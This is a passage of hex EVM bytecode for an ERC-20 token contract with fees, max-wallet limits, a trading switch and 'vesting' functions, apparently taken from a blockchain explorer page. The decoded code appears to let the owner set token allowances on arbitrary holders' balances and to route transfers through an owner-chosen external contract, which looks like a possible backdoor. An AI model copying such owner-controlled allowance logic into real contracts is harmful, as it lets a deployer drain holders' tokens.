bc578581018301518582016040015282016200099e565b506000604082860101526040601f19601f8301168501019250505092915050565b6124be80620009ed6000396000f3fe6080604052600436106102975760003560e01c80638da5cb5b1161015a578063c816841b116100c1578063da00097d1161007a578063da00097d146107fb578063dd62ed3e1461081c578063ef422a1814610862578063f2fde38b14610882578063f680f799146108a2578063f872858a146108b857600080fd5b8063c816841b1461074a578063c9567bf91461076a578063c9c9afc51461077f578063ca9ec1991461079f578063d067ed2e146107b5578063d2d7ad83146107e557600080fd5b8063a9059cbb11610113578063a9059cbb14610685578063b40f9469146106a5578063bae90464146106d5578063bcdb446b146106f5578063c49b9a801461070a578063c647b20e1461072a57600080fd5b80638da5cb5b146105dc5780638f4bc87e146105fa57806395d89b411461061a578063a457c2d71461062f578063a5d69d1f1461064f578063a8660a781461066f57600080fd5b80635342acb4116101fe57806375f0a874116101b757806375f0a874146105305780637d1db4a514610555578063807c2d9c1461056b578063844d591c1461058157806385261485146105a15780638a8c523c146105c257600080fd5b80635342acb4146104605780635b8bec551461049057806361b546d2146104b057806362256589146104d057806370a08231146104e5578063715018a61461051b57600080fd5b8063395093511161025057806339509351146103975780633e9324cd146103b75780633ecad271146103d957806342a11095146104095780634a74bb021461041f5780634cb80fd51461044057600080fd5b806306fdde03146102a3578063095ea7b3146102ce5780631694505e146102fe57806318160ddd1461033657806323b872dd14610355578063313ce5671461037557600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b86108d9565b6040516102c59190611fb1565b60405180910390f35b3480156102da57600080fd5b506102ee6102e9366004612014565b61096b565b60405190151581526020016102c5565b34801561030a57600080fd5b5060145461031e906001600160a01b031681565b6040516001600160a01b0390911681526020016102c5565b34801561034257600080fd5b506010545b6040519081526020016102c5565b34801561036157600080fd5b506102ee610370366004612040565b610982565b34801561038157600080fd5b5060035460405160ff90911681526020016102c5565b3480156103a357600080fd5b506102ee6103b2366004612014565b6109ed565b3480156103c357600080fd5b506103d76103d23660046120cd565b610a23565b005b3480156103e557600080fd5b506102ee6103f436600461217c565b60086020526000908152604090205460ff1681565b34801561041557600080fd5b50610347600d5481565b34801561042b57600080fd5b506016546102ee90600160a81b900460ff1681565b34801561044c57600080fd5b506103d761045b36600461217c565b610bbf565b34801561046c57600080fd5b506102ee61047b36600461217c565b60076020526000908152604090205460ff1681565b34801561049c57600080fd5b5060165461031e906001600160a01b031681565b3480156104bc57600080fd5b506103d76104cb366004612014565b610c72565b3480156104dc57600080fd5b506103d7610d89565b3480156104f157600080fd5b5061034761050036600461217c565b6001600160a01b031660009081526004602052604090205490565b34801561052757600080fd5b506103d7610dc3565b34801561053c57600080fd5b5060035461031e9061010090046001600160a01b031681565b34801561056157600080fd5b5061034760125481565b34801561057757600080fd5b5061034760135481565b34801561058d57600080fd5b506103d761059c3660046121a7565b610e3d565b3480156105ad57600080fd5b506016546102ee90600160c01b900460ff1681565b3480156105ce57600080fd5b506006546102ee9060ff1681565b3480156105e857600080fd5b506000546001600160a01b031661031e565b34801561060657600080fd5b506103d76106153660046121a7565b610e92565b34801561062657600080fd5b506102b8610ee7565b34801561063b57600080fd5b506102ee61064a366004612014565b610ef6565b34801561065b57600080fd5b506103d761066a3660046121e0565b610f45565b34801561067b57600080fd5b50610347600c5481565b34801561069157600080fd5b506102ee6106a0366004612014565b610f8d565b3480156106b157600080fd5b506102ee6106c036600461217c565b60096020526000908152604090205460ff1681565b3480156106e157600080fd5b506103d76106f03660046121a7565b610f9a565b34801561070157600080fd5b506103d7610fef565b34801561071657600080fd5b506103d76107253660046121e0565b611071565b34801561073657600080fd5b506103d76107453660046121fd565b6110f3565b34801561075657600080fd5b5060155461031e906001600160a01b031681565b34801561077657600080fd5b506103d7611189565b34801561078b57600080fd5b506103d761079a36600461217c565b6111c2565b3480156107ab57600080fd5b50610347600e5481565b3480156107c157600080fd5b506102ee6107d036600461217c565b600a6020526000908152604090205460ff1681565b3480156107f157600080fd5b5061034760115481565b34801561080757600080fd5b506016546102ee90600160b01b900460ff1681565b34801561082857600080fd5b5061034761083736600461221f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561086e57600080fd5b506103d761087d3660046121a7565b61120e565b34801561088e57600080fd5b506103d761089d36600461217c565b611263565b3480156108ae57600080fd5b50610347600f5481565b3480156108c457600080fd5b506016546102ee90600160b81b900460ff1681565b6060600180546108e89061224d565b80601f01602080910402602001604051908101604052809291908181526020018280546109149061224d565b80156109615780601f1061093657610100808354040283529160200191610961565b820191906000526020600020905b81548152906001019060200180831161094457829003601f168201915b5050505050905090565b600061097833848461134d565b5060015b92915050565b600061098f848484611471565b506109e284336109dd8560405180606001604052806028815260200161243c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906118bb565b61134d565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916109789185906109dd90866118f5565b6000546001600160a01b03163314610a565760405162461bcd60e51b8152600401610a4d90612287565b60405180910390fd5b828114610a6257600080fd5b60008042815b86811015610ace57878782818110610a8257610a826122bc565b9050602002013583610a9491906122e8565b9250858582818110610aa857610aa86122bc565b9050602002013584610aba91906122e8565b935080610ac6816122fb565b915050610a68565b50600c54610adc83836122e8565b1015610b2a5760405162461bcd60e51b815260206004820181905260248201527f56657374696e672063616e20626520737461727420696e2036206d6f6e7468736044820152606401610a4d565b60005b89811015610bb25760008b8b83818110610b4957610b496122bc565b9050602002016020810190610b5e919061217c565b6001600160a01b039081166000908152600b6020908152604080832080546001600160a01b031916948f16948517905560058252808320938352929052208590555080610baa816122fb565b915050610b2d565b5050505050505050505050565b6000546001600160a01b03163314610be95760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b038116610c4a5760405162461bcd60e51b815260206004820152602260248201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610c9c5760405162461bcd60e51b8152600401610a4d90612287565b306001600160a01b03831603610d135760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610a4d565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610d60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d849190612314565b505050565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610a4d90612287565b6016805461ffff60b81b19169055565b6000546001600160a01b03163314610ded5760405162461bcd60e51b8152600401610a4d90612287565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610e675760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ebc5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600280546108e89061224d565b600061097833846109dd85604051806060016040528060258152602001612464602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906118bb565b6000546001600160a01b03163314610f6f5760405162461bcd60e51b8152600401610a4d90612287565b60168054911515600160b01b0260ff60b01b19909216919091179055565b60006109e2338484611471565b6000546001600160a01b03163314610fc45760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110195760405162461bcd60e51b8152600401610a4d90612287565b604051600090339047908381818185875af1925050503d806000811461105b576040519150601f19603f3d011682016040523d82523d6000602084013e611060565b606091505b505090508061106e57600080fd5b50565b6000546001600160a01b0316331461109b5760405162461bcd60e51b8152600401610a4d90612287565b60168054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110e890831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461111d5760405162461bcd60e51b8152600401610a4d90612287565b600d829055600e81905560058211801590611139575060058111155b6111855760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610a4d565b5050565b6000546001600160a01b031633146111b35760405162461bcd60e51b8152600401610a4d90612287565b6006805460ff19166001179055565b6000546001600160a01b031633146111ec5760405162461bcd60e51b8152600401610a4d90612287565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112385760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461128d5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b0381166112f25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a4d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113af5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4d565b6001600160a01b0382166114105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166114d75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a4d565b6001600160a01b0383166115395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a4d565b601654600160a01b900460ff161561155d57611556848484611954565b90506109e6565b6001600160a01b0384166000908152600a602052604090205460ff1615801561159f57506001600160a01b0383166000908152600a602052604090205460ff16155b80156115b45750601654600160c01b900460ff165b156116675760065460ff166116045760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b6044820152606401610a4d565b6012548211156116675760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a4d565b30600090815260046020526040902054601154811080159081906116955750601654600160a01b900460ff16155b80156116ba57506001600160a01b03861660009081526008602052604090205460ff16155b80156116cf5750601654600160a81b900460ff165b156116f557601654600160b01b900460ff16156116ec5760115491505b6116f582611a3a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546117479186906118bb565b6001600160a01b03871660009081526004602052604081209190915561176e878787611ae4565b601654909150600160b81b900460ff1680156117a357506001600160a01b03861660009081526009602052604090205460ff16155b15611830576013546117d4826117ce896001600160a01b031660009081526004602052604090205490565b906118f5565b11156118305760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a4d565b6001600160a01b03861660009081526004602052604090205461185390826118f5565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118a79085815260200190565b60405180910390a3600193505050506109e6565b600081848411156118df5760405162461bcd60e51b8152600401610a4d9190611fb1565b5060006118ec8486612331565b95945050505050565b60008061190283856122e8565b9050838110156109e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546119a59184906118bb565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546119d490836118f5565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a289086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b17905547611a5782611cef565b6000611a634783611e82565b90508015611ad25760035460405160009161010090046001600160a01b03169083908381818185875af1925050503d8060008114611abd576040519150601f19603f3d011682016040523d82523d6000602084013e611ac2565b606091505b5050905080611ad057600080fd5b505b50506016805460ff60a01b1916905550565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611b3357611b296064611b23600d5487611ec490919063ffffffff16565b90611f46565b9150859050611b74565b6001600160a01b03851660009081526008602052604090205460ff1615611b7457611b6e6064611b23600e5487611ec490919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590611c5757506001600160a01b038181166000908152600b60209081526040808320548a85168085526008909352818420548a86168086529483902054925163c2d1fab360e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063c2d1fab39060a4016020604051808303816000875af1158015611c33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c579190612314565b15611c6157600091505b8115611cdb5730600090815260046020526040902054611c8190836118f5565b30600081815260046020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cd29086815260200190565b60405180910390a35b611ce58483611e82565b9695505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d2457611d246122bc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da19190612344565b81600181518110611db457611db46122bc565b6001600160a01b039283166020918202929092010152601454611dda913091168461134d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e139085906000908690309042906004016123a5565b600060405180830381600087803b158015611e2d57600080fd5b505af1158015611e41573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611e769291906123e1565b60405180910390a15050565b60006109e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118bb565b600082600003611ed65750600061097c565b6000611ee28385612402565b905082611eef8583612419565b146109e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a4d565b60006109e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611fa45760405162461bcd60e51b8152600401610a4d9190611fb1565b5060006118ec8486612419565b600060208083528351808285015260005b81811015611fde57858101830151858201604001528201611fc2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461106e57600080fd5b6000806040838503121561202757600080fd5b823561203281611fff565b946020939093013593505050565b60008060006060848603121561205557600080fd5b833561206081611fff565b9250602084013561207081611fff565b929592945050506040919091013590565b60008083601f84011261209357600080fd5b50813567ffffffffffffffff8111156120ab57600080fd5b6020830191508360208260051b85010111156120c657600080fd5b9250929050565b60008060008060008060006080888a0312156120e857600080fd5b873567ffffffffffffffff8082111561210057600080fd5b61210c8b838c01612081565b909950975060208a0135915061212182611fff565b9095506040890135908082111561213757600080fd5b6121438b838c01612081565b909650945060608a013591508082111561215c57600080fd5b506121698a828b01612081565b989b979a50959850939692959293505050565b60006020828403121561218e57600080fd5b81356109e681611fff565b801515811461106e57600080fd5b600080604083850312156121ba57600080fd5b82356121c581611fff565b915060208301356121d581612199565b809150509250929050565b6000602082840312156121f257600080fd5b81356109e681612199565b6000806040838503121561221057600080fd5b50508035926020909101359150565b6000806040838503121561223257600080fd5b823561223d81611fff565b915060208301356121d581611fff565b600181811c9082168061226157607f821691505b60208210810361228157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561097c5761097c6122d2565b60006001820161230d5761230d6122d2565b5060010190565b60006020828403121561232657600080fd5b81516109e681612199565b8181038181111561097c5761097c6122d2565b60006020828403121561235657600080fd5b81516109e681611fff565b600081518084526020808501945080840160005b8381101561239a5781516001600160a01b031687529582019590820190600101612375565b509495945050505050565b85815284602082015260a0604082015260006123c460a0830186612361565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006123fa6040830184612361565b949350505050565b808202811582820484141761097c5761097c6122d2565b60008261243657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc2651b1ebf381491f0c4b11b7920529b91b26efe8f18d87b0552fa00875c9e764736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102975760003560e01c80638da5cb5b1161015a578063c816841b116100c1578063da00097d1161007a578063da00097d146107fb578063dd62ed3e1461081c578063ef422a1814610862578063f2fde38b14610882578063f680f799146108a2578063f872858a146108b857600080fd5b8063c816841b1461074a578063c9567bf91461076a578063c9c9afc51461077f578063ca9ec1991461079f578063d067ed2e146107b5578063d2d7ad83146107e557600080fd5b8063a9059cbb11610113578063a9059cbb14610685578063b40f9469146106a5578063bae90464146106d5578063bcdb446b146106f5578063c49b9a801461070a578063c647b20e1461072a57600080fd5b80638da5cb5b146105dc5780638f4bc87e146105fa57806395d89b411461061a578063a457c2d71461062f578063a5d69d1f1461064f578063a8660a781461066f57600080fd5b80635342acb4116101fe57806375f0a874116101b757806375f0a874146105305780637d1db4a514610555578063807c2d9c1461056b578063844d591c1461058157806385261485146105a15780638a8c523c146105c257600080fd5b80635342acb4146104605780635b8bec551461049057806361b546d2146104b057806362256589146104d057806370a08231146104e5578063715018a61461051b57600080fd5b8063395093511161025057806339509351146103975780633e9324cd146103b75780633ecad271146103d957806342a11095146104095780634a74bb021461041f5780634cb80fd51461044057600080fd5b806306fdde03146102a3578063095ea7b3146102ce5780631694505e146102fe57806318160ddd1461033657806323b872dd14610355578063313ce5671461037557600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b86108d9565b6040516102c59190611fb1565b60405180910390f35b3480156102da57600080fd5b506102ee6102e9366004612014565b61096b565b60405190151581526020016102c5565b34801561030a57600080fd5b5060145461031e906001600160a01b031681565b6040516001600160a01b0390911681526020016102c5565b34801561034257600080fd5b506010545b6040519081526020016102c5565b34801561036157600080fd5b506102ee610370366004612040565b610982565b34801561038157600080fd5b5060035460405160ff90911681526020016102c5565b3480156103a357600080fd5b506102ee6103b2366004612014565b6109ed565b3480156103c357600080fd5b506103d76103d23660046120cd565b610a23565b005b3480156103e557600080fd5b506102ee6103f436600461217c565b60086020526000908152604090205460ff1681565b34801561041557600080fd5b50610347600d5481565b34801561042b57600080fd5b506016546102ee90600160a81b900460ff1681565b34801561044c57600080fd5b506103d761045b36600461217c565b610bbf565b34801561046c57600080fd5b506102ee61047b36600461217c565b60076020526000908152604090205460ff1681565b34801561049c57600080fd5b5060165461031e906001600160a01b031681565b3480156104bc57600080fd5b506103d76104cb366004612014565b610c72565b3480156104dc57600080fd5b506103d7610d89565b3480156104f157600080fd5b5061034761050036600461217c565b6001600160a01b031660009081526004602052604090205490565b34801561052757600080fd5b506103d7610dc3565b34801561053c57600080fd5b5060035461031e9061010090046001600160a01b031681565b34801561056157600080fd5b5061034760125481565b34801561057757600080fd5b5061034760135481565b34801561058d57600080fd5b506103d761059c3660046121a7565b610e3d565b3480156105ad57600080fd5b506016546102ee90600160c01b900460ff1681565b3480156105ce57600080fd5b506006546102ee9060ff1681565b3480156105e857600080fd5b506000546001600160a01b031661031e565b34801561060657600080fd5b506103d76106153660046121a7565b610e92565b34801561062657600080fd5b506102b8610ee7565b34801561063b57600080fd5b506102ee61064a366004612014565b610ef6565b34801561065b57600080fd5b506103d761066a3660046121e0565b610f45565b34801561067b57600080fd5b50610347600c5481565b34801561069157600080fd5b506102ee6106a0366004612014565b610f8d565b3480156106b157600080fd5b506102ee6106c036600461217c565b60096020526000908152604090205460ff1681565b3480156106e157600080fd5b506103d76106f03660046121a7565b610f9a565b34801561070157600080fd5b506103d7610fef565b34801561071657600080fd5b506103d76107253660046121e0565b611071565b34801561073657600080fd5b506103d76107453660046121fd565b6110f3565b34801561075657600080fd5b5060155461031e906001600160a01b031681565b34801561077657600080fd5b506103d7611189565b34801561078b57600080fd5b506103d761079a36600461217c565b6111c2565b3480156107ab57600080fd5b50610347600e5481565b3480156107c157600080fd5b506102ee6107d036600461217c565b600a6020526000908152604090205460ff1681565b3480156107f157600080fd5b5061034760115481565b34801561080757600080fd5b506016546102ee90600160b01b900460ff1681565b34801561082857600080fd5b5061034761083736600461221f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561086e57600080fd5b506103d761087d3660046121a7565b61120e565b34801561088e57600080fd5b506103d761089d36600461217c565b611263565b3480156108ae57600080fd5b50610347600f5481565b3480156108c457600080fd5b506016546102ee90600160b81b900460ff1681565b6060600180546108e89061224d565b80601f01602080910402602001604051908101604052809291908181526020018280546109149061224d565b80156109615780601f1061093657610100808354040283529160200191610961565b820191906000526020600020905b81548152906001019060200180831161094457829003601f168201915b5050505050905090565b600061097833848461134d565b5060015b92915050565b600061098f848484611471565b506109e284336109dd8560405180606001604052806028815260200161243c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906118bb565b61134d565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916109789185906109dd90866118f5565b6000546001600160a01b03163314610a565760405162461bcd60e51b8152600401610a4d90612287565b60405180910390fd5b828114610a6257600080fd5b60008042815b86811015610ace57878782818110610a8257610a826122bc565b9050602002013583610a9491906122e8565b9250858582818110610aa857610aa86122bc565b9050602002013584610aba91906122e8565b935080610ac6816122fb565b915050610a68565b50600c54610adc83836122e8565b1015610b2a5760405162461bcd60e51b815260206004820181905260248201527f56657374696e672063616e20626520737461727420696e2036206d6f6e7468736044820152606401610a4d565b60005b89811015610bb25760008b8b83818110610b4957610b496122bc565b9050602002016020810190610b5e919061217c565b6001600160a01b039081166000908152600b6020908152604080832080546001600160a01b031916948f16948517905560058252808320938352929052208590555080610baa816122fb565b915050610b2d565b5050505050505050505050565b6000546001600160a01b03163314610be95760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b038116610c4a5760405162461bcd60e51b815260206004820152602260248201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610c9c5760405162461bcd60e51b8152600401610a4d90612287565b306001600160a01b03831603610d135760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610a4d565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610d60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d849190612314565b505050565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610a4d90612287565b6016805461ffff60b81b19169055565b6000546001600160a01b03163314610ded5760405162461bcd60e51b8152600401610a4d90612287565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610e675760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ebc5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600280546108e89061224d565b600061097833846109dd85604051806060016040528060258152602001612464602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906118bb565b6000546001600160a01b03163314610f6f5760405162461bcd60e51b8152600401610a4d90612287565b60168054911515600160b01b0260ff60b01b19909216919091179055565b60006109e2338484611471565b6000546001600160a01b03163314610fc45760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110195760405162461bcd60e51b8152600401610a4d90612287565b604051600090339047908381818185875af1925050503d806000811461105b576040519150601f19603f3d011682016040523d82523d6000602084013e611060565b606091505b505090508061106e57600080fd5b50565b6000546001600160a01b0316331461109b5760405162461bcd60e51b8152600401610a4d90612287565b60168054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110e890831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461111d5760405162461bcd60e51b8152600401610a4d90612287565b600d829055600e81905560058211801590611139575060058111155b6111855760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610a4d565b5050565b6000546001600160a01b031633146111b35760405162461bcd60e51b8152600401610a4d90612287565b6006805460ff19166001179055565b6000546001600160a01b031633146111ec5760405162461bcd60e51b8152600401610a4d90612287565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112385760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461128d5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b0381166112f25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a4d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113af5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4d565b6001600160a01b0382166114105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166114d75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a4d565b6001600160a01b0383166115395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a4d565b601654600160a01b900460ff161561155d57611556848484611954565b90506109e6565b6001600160a01b0384166000908152600a602052604090205460ff1615801561159f57506001600160a01b0383166000908152600a602052604090205460ff16155b80156115b45750601654600160c01b900460ff165b156116675760065460ff166116045760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b6044820152606401610a4d565b6012548211156116675760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a4d565b30600090815260046020526040902054601154811080159081906116955750601654600160a01b900460ff16155b80156116ba57506001600160a01b03861660009081526008602052604090205460ff16155b80156116cf5750601654600160a81b900460ff165b156116f557601654600160b01b900460ff16156116ec5760115491505b6116f582611a3a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546117479186906118bb565b6001600160a01b03871660009081526004602052604081209190915561176e878787611ae4565b601654909150600160b81b900460ff1680156117a357506001600160a01b03861660009081526009602052604090205460ff16155b15611830576013546117d4826117ce896001600160a01b031660009081526004602052604090205490565b906118f5565b11156118305760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a4d565b6001600160a01b03861660009081526004602052604090205461185390826118f5565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118a79085815260200190565b60405180910390a3600193505050506109e6565b600081848411156118df5760405162461bcd60e51b8152600401610a4d9190611fb1565b5060006118ec8486612331565b95945050505050565b60008061190283856122e8565b9050838110156109e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546119a59184906118bb565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546119d490836118f5565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a289086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b17905547611a5782611cef565b6000611a634783611e82565b90508015611ad25760035460405160009161010090046001600160a01b03169083908381818185875af1925050503d8060008114611abd576040519150601f19603f3d011682016040523d82523d6000602084013e611ac2565b606091505b5050905080611ad057600080fd5b505b50506016805460ff60a01b1916905550565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611b3357611b296064611b23600d5487611ec490919063ffffffff16565b90611f46565b9150859050611b74565b6001600160a01b03851660009081526008602052604090205460ff1615611b7457611b6e6064611b23600e5487611ec490919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590611c5757506001600160a01b038181166000908152600b60209081526040808320548a85168085526008909352818420548a86168086529483902054925163c2d1fab360e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063c2d1fab39060a4016020604051808303816000875af1158015611c33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c579190612314565b15611c6157600091505b8115611cdb5730600090815260046020526040902054611c81